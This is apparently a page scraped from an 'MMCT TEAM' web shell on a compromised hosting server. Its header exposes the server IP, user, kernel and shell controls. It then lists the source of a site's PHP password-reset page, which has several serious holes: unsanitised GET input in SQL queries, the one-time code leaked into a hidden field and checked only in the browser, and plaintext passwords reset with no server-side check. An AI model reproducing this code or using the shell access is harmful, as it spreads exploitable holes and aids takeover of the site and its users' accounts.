MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/eventsbyshubhchintak/vendor/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/eventsbyshubhchintak/vendor/forgot-change-password.php
<?php session_start(); ?>
<!DOCTYPE html>
<html lang="en">

<?php 
include 'includes/db-conn.inc.php';
 include'includes/head.php';
// if(empty($_GET['userphone']))
//     {
//       echo "<script>location.href='index.php';</script>";
//     }
    $userphone=$_GET['userphone'];
$query2=mysqli_query($conn,"select * from tbl_registration where mobile='$userphone'") or die(mysqli_error());
      $rw2=mysqli_fetch_assoc($query2);
      $otp1=$rw2['otp']; 
      extract($rw2);

 ?>

<body data-ng-app="">
	<div id="preloader">
		<div id="status">&nbsp;</div>
	</div>
	<!--TOP SEARCH SECTION-->
	<?php include'includes/header.php'; ?>
	<section class="tz-register">
			<div class="log-in-pop">
				<div class="log-in-pop-left">
					<h1>Hello... <span><?php echo $name; ?></span></h1>
					<p>Reset your password. It's take less then a minutes</p>
					<h4>Register with two Steps</h4>
					<ul>
						<li><a href="#"> Verify Phone Number</a>
						</li>
						<li><a href="#"> Register Yourself</a>
						</li>
						<li><a href="#"> Start Listing</a>
						</li>
					</ul>
				</div>
				<div class="log-in-pop-right">
					<a href="#" class="pop-close" data-dismiss="modal"><img src="images/cancel.png" alt="">
					</a>
					<h4>Reset Password</h4>
					<p>Reset your password. It's take less then a minutes</p>
					<form class="s12" method="POST" enctype="multipart/form-data" action="">
						<div>
							<div class="input-field s12">
								<input type="text" name="txtusername" value="<?php echo $name; ?>" class="validate" readonly>
								<label>User name</label>
							</div>
						</div>
						<div>
							<div class="input-field s12">
								<input type="number" name="txtusermobile" value="<?php echo $_GET['userphone']; ?>" class="validate" readonly>
								<label>Mobile Number</label>
							</div>
						</div>
						<div>
							<div class="input-field s12">
								<span id="error" style="float: right;font-size: 12px;"></span>
							    <input type="hidden" id="confirm_otp" value="<?php echo $otp1; ?>">
								<input type="number" name="txtotp" id="otp" required="" class="validate">
								<label>OTP</label>
							</div>
						</div>
						<div>
							<div class="input-field s12">
								<input type="password" id="password" required="" pattern=".{6,}" title="Six or more characters" class="validate" placeholder="Password (six or more characters)">
								<span style="float: right;position: absolute;margin-left: -26px;padding-top: 11px;"><i id="pass-status" class="fa fa-eye" aria-hidden="true" onClick="viewPassword2()"></i></span>
								<!-- <label>Password (six or more characters)</label> -->
							</div>
						</div>
						<div>
							<div class="input-field s12">
								<span id="message" style="float: right;font-size: 12px;"></span>
								<input type="password" id="confirm_password" name="password" required="" class="validate" placeholder="Confirm password">
								<span style="float: right;position: absolute;margin-left: -26px;padding-top: 11px;"><i id="pass-status" class="fa fa-eye" aria-hidden="true" onClick="viewPassword()"></i></span>
								<!-- <label>Confirm password</label> -->
							</div>
						</div>
						<div>
							<div class="input-field s4">
								<input type="submit" value="Reset" class="waves-effect waves-light log-in-btn" onsubmit="validatePassword()" name="resetpassword"> </div>
						</div>
						<div>
							<div class="input-field s12"> <a href="login.php">Are you a already member ? Login</a> </div>
						</div>
					</form>
				</div>
			</div>
	</section>
	<!--MOBILE APP-->
	
	<!--FOOTER SECTION-->
	<?php include'includes/footer.php'; ?>
	<!--SCRIPT FILES-->
	<script src="js\jquery.min.js"></script>
	<script src="js\angular.min.js"></script>
	<script src="js\bootstrap.js" type="text/javascript"></script>
	<script src="js\materialize.min.js" type="text/javascript"></script>
	<script src="js\custom.js"></script>
	<script>
  $(document).ready(function(){
    $('#password, #confirm_password').on('keyup', function () {
       if ($('#password').val() == $('#confirm_password').val()) 
       {
          $('#message').html('password match').css('color', 'green');
       } 
       else 
          $('#message').html('*password not match').css('color', 'red');
       });

     $('#otp, #confirm_otp').on('keyup', function () {
       if ($('#otp').val() == $('#confirm_otp').val()) 
       {
          $('#error').html('Valid OTP').css('color', 'green');
       } 
       else 
          $('#error').html('*invalid OTP !').css('color', 'red');
       });

  });
</script>
  <script>
  function viewPassword()
{
  var passwordInput = document.getElementById('confirm_password');
  var passStatus = document.getElementById('pass-status');
 
  if (passwordInput.type == 'password'){
    passwordInput.type='text';
    passStatus.className='fa fa-eye-slash';
    
  }
  else{
    passwordInput.type='password';
    passStatus.className='fa fa-eye';
  }
}
 function viewPassword2()
{
  var passwordInput = document.getElementById('password');
  var passStatus = document.getElementById('pass-status');
 
  if (passwordInput.type == 'password'){
    passwordInput.type='text';
    passStatus.className='fa fa-eye-slash';
    
  }
  else{
    passwordInput.type='password';
    passStatus.className='fa fa-eye';
  }
}
</script>
<script>
  var password = document.getElementById("password")
  , confirm_password = document.getElementById("confirm_password");

function validatePassword(){
  if(password.value != confirm_password.value) {
    confirm_password.setCustomValidity("Passwords Don't Match");
  } else {
    confirm_password.setCustomValidity('');
  }
}

password.onchange = validatePassword;
confirm_password.onkeyup = validatePassword;
</script>
</body>

</html>
<?php 

 if(isset($_POST['resetpassword']))
{
   $userphone=$_GET['userphone'];
   $password  = mysqli_real_escape_string($conn,$_POST['password']); 

      $sql1="update tbl_registration set password='$password' where mobile='$userphone'";

        if(mysqli_query($conn,$sql1) or die (mysqli_error($conn)))
        {
          echo "<script>window.location = 'login.php';</script>";
        }
        else
        {
          echo "<script> alert('not inserted');</script>";
        }


 

}
?>

MMCT - 2023